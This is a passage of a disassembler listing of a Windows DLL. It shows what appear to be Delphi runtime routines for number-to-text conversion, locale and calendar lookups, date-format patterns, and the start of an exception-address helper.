sub_10005EBE	proc near		; DATA XREF: CODE:10005DA4o
		xor	ebx, ebx
		mov	bl, [ebp-0Dh]
		mov	ecx, 3
		cmp	byte ptr [ebp-2Ah], 0
		jz	short loc_10005ED6
		mov	bl, [ebp-0Eh]
		mov	ecx, 40Fh

loc_10005ED6:				; CODE XREF: sub_10005EBE+Ej
		cmp	bl, cl
		jbe	short loc_10005EDC
		mov	bl, cl

loc_10005EDC:				; CODE XREF: sub_10005EBE+1Aj
		add	bl, ch
		lea	ebx, dword_10005F21[ebx+ebx*4]
		add	ebx, [ebp-14h]
		mov	ecx, 5

loc_10005EED:				; CODE XREF: sub_10005EBE+51j
		mov	al, [ebx]
		cmp	al, 40h
		jz	short locret_10005F11
		push	ecx
		push	ebx
		cmp	al, 24h
		jz	short loc_10005F00
		cmp	al, 2Ah
		jz	short loc_10005F07
		stosb
		jmp	short loc_10005F0C
; ---------------------------------------------------------------------------

loc_10005F00:				; CODE XREF: sub_10005EBE+39j
		call	sub_10005F12
		jmp	short loc_10005F0C
; ---------------------------------------------------------------------------

loc_10005F07:				; CODE XREF: sub_10005EBE+3Dj
		call	loc_10005E59

loc_10005F0C:				; CODE XREF: sub_10005EBE+40j
					; sub_10005EBE+47j
		pop	ebx
		pop	ecx
		inc	ebx
		loop	loc_10005EED

locret_10005F11:			; CODE XREF: sub_10005EBE+33j
		retn
sub_10005EBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_10005F12	proc near		; CODE XREF: sub_10005EBE:loc_10005F00p
		push	esi
		mov	esi, [ebp-0Ch]
		test	esi, esi
		jz	short loc_10005F1F
		mov	ecx, [esi-4]
		rep movsb

loc_10005F1F:				; CODE XREF: sub_10005F12+6j
		pop	esi
		retn
sub_10005F12	endp

; ---------------------------------------------------------------------------
dword_10005F21	dd 40402A24h		; DATA XREF: sub_10005EBE+20r
; ---------------------------------------------------------------------------
		inc	eax
		sub	ah, [eax+eax*2]
		inc	eax
		inc	eax
		and	al, 20h
		sub	al, [eax+40h]
		sub	ah, [eax]
		and	al, 40h
		inc	eax
		sub	[edx+ebp], ah
		sub	[eax+2Dh], eax
		and	al, 2Ah
		inc	eax
		inc	eax
		and	al, 2Dh
		sub	al, [eax+40h]
		and	al, 2Ah
		sub	eax, 2A284040h
		and	al, 29h
		inc	eax
		sub	eax, 4040242Ah
		sub	ch, ds:2A404024h
		and	al, 2Dh
		inc	eax
		inc	eax
		sub	eax, 4024202Ah
		sub	eax, 402A2024h
		sub	ah, [eax]
		and	al, 2Dh
		inc	eax
		and	al, 20h
		sub	ch, ds:2D202440h
		sub	al, [eax+2Ah]
		sub	eax, 28402420h
		and	al, 20h
		sub	ch, [ecx]
		sub	[edx], ch
		and	[ecx+ebp], ah
; START	OF FUNCTION CHUNK FOR sub_10005CB8

loc_10005F85:				; CODE XREF: sub_10005CB8+D7j
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_10005CB8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005F8C	proc near		; CODE XREF: sub_10005CB8+72p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 100061AF SIZE 00000009 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	edi
		push	esi
		push	ebx
		mov	ebx, eax
		mov	esi, edx
		mov	[ebp+var_4], 0
		cmp	cl, 0
		jz	short loc_10005FAF
		call	sub_100060DB
		jmp	loc_100061AF
; ---------------------------------------------------------------------------

loc_10005FAF:				; CODE XREF: sub_10005F8C+17j
		call	sub_10005FB9
		jmp	loc_100061AF
sub_10005F8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_10005FB9	proc near		; CODE XREF: sub_10005F8C:loc_10005FAFp
		mov	ax, [esi+8]
		mov	edx, eax
		and	eax, 7FFFh
		jz	short loc_10005FE4
		cmp	eax, 7FFFh
		jnz	short loc_10005FEF
		test	word ptr [esi+6], 8000h
		jz	short loc_10005FE6
		cmp	dword ptr [esi], 0
		jnz	short loc_10005FE3
		cmp	dword ptr [esi+4], 80000000h
		jz	short loc_10005FE6

loc_10005FE3:				; CODE XREF: sub_10005FB9+1Fj
		inc	eax

loc_10005FE4:				; CODE XREF: sub_10005FB9+Bj
					; sub_10005FB9+AFj
		xor	edx, edx

loc_10005FE6:				; CODE XREF: sub_10005FB9+1Aj
					; sub_10005FB9+28j
		mov	byte ptr [ebx+3], 0
		jmp	loc_100060BC
; ---------------------------------------------------------------------------

loc_10005FEF:				; CODE XREF: sub_10005FB9+12j
		fld	tbyte ptr [esi]
		sub	eax, 3FFFh
		imul	eax, 4D10h
		sar	eax, 10h
		inc	eax
		mov	[ebp-8], eax
		mov	eax, 12h
		sub	eax, [ebp-8]
		fabs
		push	ebx
		mov	ebx, [ebp-4]
		call	sub_1000283C
		pop	ebx
		frndint
		mov	edi, [ebp-4]
		fld	ds:tbyte_100090FC[edi]
		fcomp	st(1)
		fstsw	word ptr [ebp-0Ah]
		wait
		test	word ptr [ebp-0Ah], 4100h
		jz	short loc_1000603A
		fidiv	ds:flt_10009108[edi]
		inc	dword ptr [ebp-8]

loc_1000603A:				; CODE XREF: sub_10005FB9+76j
		fbstp	tbyte ptr [ebp-18h]
		lea	edi, [ebx+3]
		mov	edx, 9
		wait

loc_10006046:				; CODE XREF: sub_10005FB9+A0j
		mov	al, [edx+ebp-19h]
		mov	ah, al
		shr	al, 4
		and	ah, 0Fh
		add	ax, 3030h
		stosw
		dec	edx
		jnz	short loc_10006046
		xor	al, al
		stosb
		mov	edi, [ebp-8]
		add	edi, [ebp+8]
		jns	short loc_1000606D
		xor	eax, eax
		jmp	loc_10005FE4
; ---------------------------------------------------------------------------

loc_1000606D:				; CODE XREF: sub_10005FB9+ABj
		cmp	edi, [ebp+0Ch]
		jb	short loc_10006075
		mov	edi, [ebp+0Ch]

loc_10006075:				; CODE XREF: sub_10005FB9+B7j
		cmp	edi, 12h
		jnb	short loc_100060A1
		cmp	byte ptr [ebx+edi+3], 35h
		jb	short loc_100060A6

loc_10006081:				; CODE XREF: sub_10005FB9+D9j
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_10006096
		inc	byte ptr [ebx+edi+3]
		cmp	byte ptr [ebx+edi+3], 39h
		ja	short loc_10006081
		jmp	short loc_100060B5
; ---------------------------------------------------------------------------

loc_10006096:				; CODE XREF: sub_10005FB9+CEj
		mov	word ptr [ebx+3], 31h
		inc	dword ptr [ebp-8]
		jmp	short loc_100060B5
; ---------------------------------------------------------------------------

loc_100060A1:				; CODE XREF: sub_10005FB9+BFj
		mov	edi, 12h

loc_100060A6:				; CODE XREF: sub_10005FB9+C6j
					; sub_10005FB9+FAj
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_100060C7
		cmp	byte ptr [ebx+edi+3], 30h
		jz	short loc_100060A6

loc_100060B5:				; CODE XREF: sub_10005FB9+DBj
					; sub_10005FB9+E6j
		mov	dx, [esi+8]

loc_100060B9:				; CODE XREF: sub_10005FB9+110j
		mov	eax, [ebp-8]

loc_100060BC:				; CODE XREF: sub_10005FB9+31j
		shr	dx, 0Fh
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
; ---------------------------------------------------------------------------

loc_100060C7:				; CODE XREF: sub_10005FB9+F3j
					; DATA XREF: sub_100060DB+60r
		xor	edx, edx
		jmp	short loc_100060B9
sub_10005FB9	endp

; ---------------------------------------------------------------------------
		db 0Ah
		dd 64000000h, 0E8000000h, 10000003h
		db 27h,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_100060DB	proc near		; CODE XREF: sub_10005F8C+19p
		mov	eax, [esi]
		mov	edx, [esi+4]
		mov	ecx, eax
		or	ecx, edx
		jz	loc_100061A1
		or	edx, edx
		jns	short loc_100060F5
		neg	edx
		neg	eax
		sbb	edx, 0

loc_100060F5:				; CODE XREF: sub_100060DB+11j
		xor	ecx, ecx
		mov	edi, [ebp+8]
		or	edi, edi
		jge	short loc_10006100
		xor	edi, edi

loc_10006100:				; CODE XREF: sub_100060DB+21j
		cmp	edi, 4
		jl	short loc_10006124
		mov	edi, 4

loc_1000610A:				; CODE XREF: sub_100060DB+3Bj
		inc	ecx
		sub	eax, 0A7640000h
		sbb	edx, 0DE0B6B3h
		jnb	short loc_1000610A
		dec	ecx
		add	eax, 0A7640000h
		adc	edx, 0DE0B6B3h

loc_10006124:				; CODE XREF: sub_100060DB+28j
		mov	[ebp-20h], eax
		mov	[ebp-1Ch], edx
		fild	qword ptr [ebp-20h]
		mov	edx, edi
		mov	eax, 4
		sub	eax, edx
		jz	short loc_10006142
		mov	edi, [ebp-4]
		fidiv	dword ptr loc_100060C7[edi+eax*4]

loc_10006142:				; CODE XREF: sub_100060DB+5Bj
		fbstp	tbyte ptr [ebp-18h]
		lea	edi, [ebx+3]
		wait
		or	ecx, ecx
		jnz	short loc_10006168
		mov	ecx, 9

loc_10006152:				; CODE XREF: sub_100060DB+89j
		mov	al, [ecx+ebp-19h]
		mov	ah, al
		shr	al, 4
		jnz	short loc_1000617B
		mov	al, ah
		and	al, 0Fh
		jnz	short loc_10006182
		dec	ecx
		jnz	short loc_10006152
		jmp	short loc_100061A1
; ---------------------------------------------------------------------------

loc_10006168:				; CODE XREF: sub_100060DB+70j
		mov	al, cl
		add	al, 30h
		stosb
		mov	ecx, 9

loc_10006172:				; CODE XREF: sub_100060DB+ABj
		mov	al, [ecx+ebp-19h]
		mov	ah, al
		shr	al, 4

loc_1000617B:				; CODE XREF: sub_100060DB+80j
		add	al, 30h
		stosb
		mov	al, ah
		and	al, 0Fh

loc_10006182:				; CODE XREF: sub_100060DB+86j
		add	al, 30h
		stosb
		dec	ecx
		jnz	short loc_10006172
		mov	eax, edi
		lea	ecx, [ebx+edx+3]
		sub	eax, ecx

loc_10006190:				; CODE XREF: sub_100060DB+BCj
		mov	byte ptr [edi],	0
		dec	edi
		cmp	byte ptr [edi],	30h
		jz	short loc_10006190
		mov	edx, [esi+4]
		shr	edx, 1Fh
		jmp	short loc_100061A8
; ---------------------------------------------------------------------------

loc_100061A1:				; CODE XREF: sub_100060DB+9j
					; sub_100060DB+8Bj
		xor	eax, eax
		xor	edx, edx
		mov	[ebx+3], al

loc_100061A8:				; CODE XREF: sub_100060DB+C4j
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
sub_100060DB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10005F8C

loc_100061AF:				; CODE XREF: sub_10005F8C+1Ej
					; sub_10005F8C+28j
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_10005F8C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100061B8	proc near		; CODE XREF: sub_1000622C+1Cp
					; sub_10006440+27p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF00h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, [ebp+arg_0]
		push	100h
		lea	ecx, [ebp+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_100045B8	; GetLocaleInfoA
		test	eax, eax
		jle	short loc_100061F1
		mov	ecx, eax
		dec	ecx
		lea	edx, [ebp+var_100]
		mov	eax, ebx
		call	sub_10003710
		jmp	short loc_100061FA
; ---------------------------------------------------------------------------

loc_100061F1:				; CODE XREF: sub_100061B8+25j
		mov	eax, ebx
		mov	edx, esi
		call	sub_10003674

loc_100061FA:				; CODE XREF: sub_100061B8+37j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_100061B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10006204	proc near		; CODE XREF: sub_1000757C+ADp
					; sub_1000757C+C0p ...

var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		push	2
		lea	eax, [esp+14h+var_10]
		push	eax
		push	esi
		push	edi
		call	sub_100045B8	; GetLocaleInfoA
		test	eax, eax
		jle	short loc_10006225
		mov	al, [esp+10h+var_10]
		jmp	short loc_10006227
; ---------------------------------------------------------------------------

loc_10006225:				; CODE XREF: sub_10006204+1Aj
		mov	eax, ebx

loc_10006227:				; CODE XREF: sub_10006204+1Fj
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10006204	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000622C	proc near		; CODE XREF: sub_10006268+46p
					; sub_10006268+69p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, [ebp+arg_0]
		push	ebx
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		xor	ecx, ecx
		mov	edx, esi
		call	sub_100061B8
		cmp	dword ptr [ebx], 0
		jnz	short loc_1000625F
		mov	eax, [ebp+var_4]
		mov	eax, [eax+edi*4]
		mov	edx, ebx
		call	sub_100041C0

loc_1000625F:				; CODE XREF: sub_1000622C+24j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_1000622C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006268	proc near		; CODE XREF: sub_1000757C+23p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		push	ebp
		push	offset loc_1000637B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_100045F8	; GetThreadLocale
		mov	[ebp+var_4], eax
		mov	ebx, 1
		mov	esi, offset dword_1000A6A8
		mov	edi, offset dword_1000A6D8

loc_1000629B:				; CODE XREF: sub_10006268+83j
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, offset off_1000910C
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+44h]
		dec	eax
		call	sub_1000622C
		pop	ecx
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_10003674
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, offset off_1000913C
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+38h]
		dec	eax
		call	sub_1000622C
		pop	ecx
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_10003674
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 0Dh
		jnz	short loc_1000629B
		mov	ebx, 1
		mov	esi, offset dword_1000A708
		mov	edi, offset dword_1000A724

loc_100062FC:				; CODE XREF: sub_10006268+F6j
		lea	eax, [ebx+5]
		mov	ecx, 7
		cdq
		idiv	ecx
		mov	[ebp+var_8], edx
		push	ebp
		push	6
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset off_1000916C
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 31h
		call	sub_1000622C
		pop	ecx
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_10003674
		push	ebp
		push	6
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset off_10009188
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 2Ah
		call	sub_1000622C
		pop	ecx
		mov	edx, [ebp+var_18]
		mov	eax, edi
		call	sub_10003674
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 8
		jnz	short loc_100062FC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10006382

loc_1000636D:				; CODE XREF: sub_10006268+118j
		lea	eax, [ebp+var_18]
		mov	edx, 4
		call	sub_10003644
		retn
; ---------------------------------------------------------------------------

loc_1000637B:				; DATA XREF: sub_10006268+11o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_1000636D
; ---------------------------------------------------------------------------

loc_10006382:				; CODE XREF: sub_10006268+112j
					; DATA XREF: sub_10006268+100o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10006268	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000638C	proc near		; DATA XREF: sub_10006440+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_100063A0
; ---------------------------------------------------------------------------

loc_1000639A:				; CODE XREF: sub_1000638C+1Cj
		cmp	ebx, 7
		jz	short loc_100063BE
		inc	ebx

loc_100063A0:				; CODE XREF: sub_1000638C+Cj
		cmp	ds:dword_1000A74C[ebx*4], 0
		jnz	short loc_1000639A
		lea	eax, dword_1000A74C[ebx*4]
		mov	edx, [ebp+arg_0]
		call	sub_100037FC
		mov	esi, 1

loc_100063BE:				; CODE XREF: sub_1000638C+11j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_1000638C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100063C8	proc near		; DATA XREF: sub_10006440+77o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_1000642D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_100063EC
; ---------------------------------------------------------------------------

loc_100063E6:				; CODE XREF: sub_100063C8+2Cj
		cmp	ebx, 7
		jz	short loc_10006417
		inc	ebx

loc_100063EC:				; CODE XREF: sub_100063C8+1Cj
		cmp	ds:dword_1000A768[ebx*4], 0FFFFFFFFh
		jnz	short loc_100063E6
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_100037FC
		mov	eax, [ebp+var_4]
		xor	edx, edx
		call	sub_10005580
		mov	ds:dword_1000A768[ebx*4], eax
		mov	esi, 1

loc_10006417:				; CODE XREF: sub_100063C8+21j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10006434

loc_10006424:				; CODE XREF: sub_100063C8+6Aj
		lea	eax, [ebp+var_4]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_1000642D:				; DATA XREF: sub_100063C8+Ao
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10006424
; ---------------------------------------------------------------------------

loc_10006434:				; CODE XREF: sub_100063C8+64j
					; DATA XREF: sub_100063C8+57o
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_100063C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006440	proc near		; CODE XREF: sub_1000757C+31p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_100064D7
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_100045F8	; GetThreadLocale
		mov	ecx, offset dword_100064EC
		mov	edx, 100Bh
		call	sub_100061B8
		mov	eax, [ebp+var_4]
		mov	edx, 1
		call	sub_10005580
		mov	esi, eax
		mov	eax, esi
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jnb	short loc_100064C1
		push	4
		push	esi
		call	sub_100045F8	; GetThreadLocale
		push	eax
		push	offset sub_1000638C
		call	sub_10004578	; EnumCalendarInfoA
		mov	edx, 7
		mov	eax, offset dword_1000A76C

loc_100064A2:				; CODE XREF: sub_10006440+6Cj
		mov	dword ptr [eax], 0FFFFFFFFh
		add	eax, 4
		dec	edx
		jnz	short loc_100064A2
		push	3
		push	esi
		call	sub_100045F8	; GetThreadLocale
		push	eax
		push	offset sub_100063C8
		call	sub_10004578	; EnumCalendarInfoA

loc_100064C1:				; CODE XREF: sub_10006440+43j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100064DE

loc_100064CE:				; CODE XREF: sub_10006440+9Cj
		lea	eax, [ebp+var_4]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_100064D7:				; DATA XREF: sub_10006440+9o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_100064CE
; ---------------------------------------------------------------------------

loc_100064DE:				; CODE XREF: sub_10006440+96j
					; DATA XREF: sub_10006440+89o
		pop	esi
		pop	ecx
		pop	ebp
		retn
sub_10006440	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_100064EC	dd 31h			; DATA XREF: sub_10006440+1Do

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100064F0	proc near		; CODE XREF: sub_1000757C+11Cp
					; sub_1000757C+149p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_100066BA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, 1
		mov	eax, edi
		call	sub_10003620
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_100045F8	; GetThreadLocale
		mov	ecx, offset dword_100066D0
		mov	edx, 1009h
		call	sub_100061B8
		mov	eax, [ebp+var_8]
		mov	edx, 1
		call	sub_10005580
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jb	loc_10006690
		mov	eax, ds:dword_1000A744
		sub	eax, 4
		jz	short loc_10006562
		add	eax, 0FFFFFFF3h
		sub	eax, 2
		jb	short loc_10006562
		xor	eax, eax
		jmp	short loc_10006564
; ---------------------------------------------------------------------------

loc_10006562:				; CODE XREF: sub_100064F0+64j
					; sub_100064F0+6Cj
		mov	al, 1

loc_10006564:				; CODE XREF: sub_100064F0+70j
		test	al, al
		jz	short loc_1000659D
		jmp	short loc_1000658D
; ---------------------------------------------------------------------------

loc_1000656A:				; CODE XREF: sub_100064F0+A6j
		mov	al, [esi+ebx-1]
		sub	al, 47h
		jz	short loc_1000658C
		sub	al, 20h
		jz	short loc_1000658C
		lea	eax, [ebp+var_C]
		mov	dl, [esi+ebx-1]
		call	sub_100037EC
		mov	edx, [ebp+var_C]
		mov	eax, edi
		call	sub_1000389C

loc_1000658C:				; CODE XREF: sub_100064F0+80j
					; sub_100064F0+84j
		inc	ebx

loc_1000658D:				; CODE XREF: sub_100064F0+78j
		mov	eax, esi
		call	sub_10003894
		cmp	ebx, eax
		jle	short loc_1000656A
		jmp	loc_1000669F
; ---------------------------------------------------------------------------

loc_1000659D:				; CODE XREF: sub_100064F0+76j
		mov	eax, edi
		mov	edx, esi
		call	sub_10003674
		jmp	loc_1000669F
; ---------------------------------------------------------------------------

loc_100065AB:				; CODE XREF: sub_100064F0+1A9j
		mov	al, [esi+ebx-1]
		and	eax, 0FFh
		bt	ds:dword_100090C4, eax
		jnb	short loc_100065EB
		mov	edx, ebx
		mov	eax, esi
		call	sub_10007278
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		mov	eax, esi
		call	sub_10003988
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_1000389C
		add	ebx, [ebp+var_4]
		jmp	loc_10006690
; ---------------------------------------------------------------------------

loc_100065EB:				; CODE XREF: sub_100064F0+CBj
		mov	edx, offset dword_100066D4
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_10005708
		test	eax, eax
		jnz	short loc_10006611
		mov	eax, edi
		mov	edx, offset dword_100066E0
		call	sub_1000389C
		inc	ebx
		jmp	short loc_1000668F
; ---------------------------------------------------------------------------

loc_10006611:				; CODE XREF: sub_100064F0+110j
		mov	edx, offset aYyyy ; "yyyy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 4
		call	sub_10005708
		test	eax, eax
		jnz	short loc_10006639
		mov	eax, edi
		mov	edx, offset aEeee ; "eeee"
		call	sub_1000389C
		add	ebx, 3
		jmp	short loc_1000668F
; ---------------------------------------------------------------------------

loc_10006639:				; CODE XREF: sub_100064F0+136j
		mov	edx, offset aYy	; "yy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_10005708
		test	eax, eax
		jnz	short loc_1000665F
		mov	eax, edi
		mov	edx, offset dword_10006708
		call	sub_1000389C
		inc	ebx
		jmp	short loc_1000668F
; ---------------------------------------------------------------------------

loc_1000665F:				; CODE XREF: sub_100064F0+15Ej
		mov	al, [esi+ebx-1]
		sub	al, 59h
		jz	short loc_1000666B
		sub	al, 20h
		jnz	short loc_10006679

loc_1000666B:				; CODE XREF: sub_100064F0+175j
		mov	eax, edi
		mov	edx, offset dword_10006714
		call	sub_1000389C
		jmp	short loc_1000668F
; ---------------------------------------------------------------------------

loc_10006679:				; CODE XREF: sub_100064F0+179j
		lea	eax, [ebp+var_14]
		mov	dl, [esi+ebx-1]
		call	sub_100037EC
		mov	edx, [ebp+var_14]
		mov	eax, edi
		call	sub_1000389C

loc_1000668F:				; CODE XREF: sub_100064F0+11Fj
					; sub_100064F0+147j ...
		inc	ebx

loc_10006690:				; CODE XREF: sub_100064F0+56j
					; sub_100064F0+F6j
		mov	eax, esi
		call	sub_10003894
		cmp	ebx, eax
		jle	loc_100065AB

loc_1000669F:				; CODE XREF: sub_100064F0+A8j
					; sub_100064F0+B6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100066C1

loc_100066AC:				; CODE XREF: sub_100064F0+1CFj
		lea	eax, [ebp+var_14]
		mov	edx, 4
		call	sub_10003644
		retn
; ---------------------------------------------------------------------------

loc_100066BA:				; DATA XREF: sub_100064F0+14o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_100066AC
; ---------------------------------------------------------------------------

loc_100066C1:				; CODE XREF: sub_100064F0+1C9j
					; DATA XREF: sub_100064F0+1B7o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_100064F0	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 1
dword_100066D0	dd 31h			; DATA XREF: sub_100064F0+34o
dword_100066D4	dd 6767h, 0FFFFFFFFh, 3	; DATA XREF: sub_100064F0:loc_100065EBo
dword_100066E0	dd 676767h		; DATA XREF: sub_100064F0+114o
aYyyy		db 'yyyy',0             ; DATA XREF: sub_100064F0:loc_10006611o
		align 4
		dd 0FFFFFFFFh, 4
aEeee		db 'eeee',0             ; DATA XREF: sub_100064F0+13Ao
		align 4
aYy		db 'yy',0               ; DATA XREF: sub_100064F0:loc_10006639o
		align 10h
		dd 0FFFFFFFFh, 2
dword_10006708	dd 6565h, 0FFFFFFFFh, 1	; DATA XREF: sub_100064F0+162o
dword_10006714	dd 65h			; DATA XREF: sub_100064F0+17Do

; =============== S U B	R O U T	I N E =======================================



sub_10006718	proc near		; CODE XREF: CODE:10006787p
		test	eax, eax
		jz	short locret_10006721
		sub	eax, 1000h

locret_10006721:			; CODE XREF: sub_10006718+2j
		retn
sub_10006718	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBA8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-4], ecx
		mov	ebx, edx
		mov	esi, eax
		push	1Ch
		lea	eax, [ebp-330h]
		push	eax
		push	ebx
		call	sub_10004650	; VirtualQuery
		cmp	dword ptr [ebp-320h], 1000h
		jnz	short loc_1000676E
		push	105h
		lea	eax, [ebp-212h]
		push	eax
		mov	eax, [ebp-32Ch]
		push	eax
		call	sub_100045C0	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_10006791

loc_1000676E:				; CODE XREF: CODE:10006750j
		push	105h
		lea	eax, [ebp-212h]
		push	eax
		mov	eax, ds:dword_1000A664
		push	eax
		call	sub_100045C0	; GetModuleFileNameA
		mov	eax, ebx
		call	sub_10006718
		mov	[ebp-8], eax
		jmp	short loc_1000679A
; ---------------------------------------------------------------------------

loc_10006791:				; CODE XREF: CODE:1000676Cj
		sub	ebx, [ebp-32Ch]
		mov	[ebp-8], ebx

loc_1000679A:				; CODE XREF: CODE:1000678Fj
		lea	eax, [ebp-212h]
		mov	dl, 5Ch
		call	sub_100072B4
		mov	edx, eax
		inc	edx
		lea	eax, [ebp-10Dh]
		mov	ecx, 104h
		call	sub_100056D4
		mov	ebx, offset dword_100068A4
		mov	edi, offset dword_100068A4
		mov	eax, esi
		mov	edx, off_10004A50
		call	sub_10002D10
		test	al, al
		jz	short loc_100067F6
		mov	eax, [esi+4]
		call	sub_1000397C
		mov	ebx, eax
		mov	eax, ebx
		call	sub_100056AC
		test	eax, eax
		jz	short loc_100067F6
		cmp	byte ptr [ebx+eax-1], 2Eh
